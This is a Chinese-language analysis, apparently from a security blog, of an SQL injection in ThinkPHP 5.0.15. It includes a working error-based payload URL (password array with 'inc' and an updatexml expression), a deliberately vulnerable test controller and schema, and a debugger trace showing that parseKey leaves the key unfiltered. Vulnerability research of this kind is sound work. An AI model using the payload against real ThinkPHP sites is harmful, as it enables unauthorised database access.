payload: http://127.0.0.1/thinkphp5.0.15/public/index.php/index/index/index?password[0]=inc&password[1]=updatexml(1,concat(0x7e,version()),1)&password[2]=1
source: 1 2 3 4 5 6 7 8 9 10 11 12 13 //index.php <?php namespace app\index\controller; use think\Db; class Index { public function index() { $password = input("get.password/a"); Db::table("user")->where(["id"=>1])->insert(["password"=>$password]); return "ThinkPHP SQL Test."; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 \\thinkphp.sql # Host: localhost (Version: 5.5.53) # Date: 2019-07-15 10:10:05 # Generator: MySQL-Front 5.3 (Build 4.234) /*!40101 SET NAMES utf8 */; # # Structure for table "user" # DROP TABLE IF EXISTS `user`; CREATE TABLE `user` ( `id` int(11) NOT NULL AUTO_INCREMENT, `username` varchar(50) DEFAULT NULL, `password` varchar(50) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; # # Data for table "user" # INSERT INTO `user` VALUES (1,'test','password');
get请求获取password,并且强制转换为数组类型
为什么password传入的是数组,且需要三个元素? 第一个元素为inc,第二个为核心payload,第三个为必须?
xdebug调试:
在Builder.php中,有一个switch,case的判断
判断数组的第一个元素为inc,进入case ‘inc’语句,利用parseKey函数转化第二个元素,floatval函数将第三个元素转化为返回变量 var 的 float 数值
可以看到变量$result[‘item’]返回的是updatexml(1,concat(0x7e,version()),1)+1
sql语句为:
所以说第三个元素是必须的,但是数值大小没有关系
漏洞为什么会触发? 可以看到第二个元素为核心payload,经过parseKey函数return回来的
观察parseKey函数
函数并未对传入的$key
进行更多的过滤与检查,导致sql注入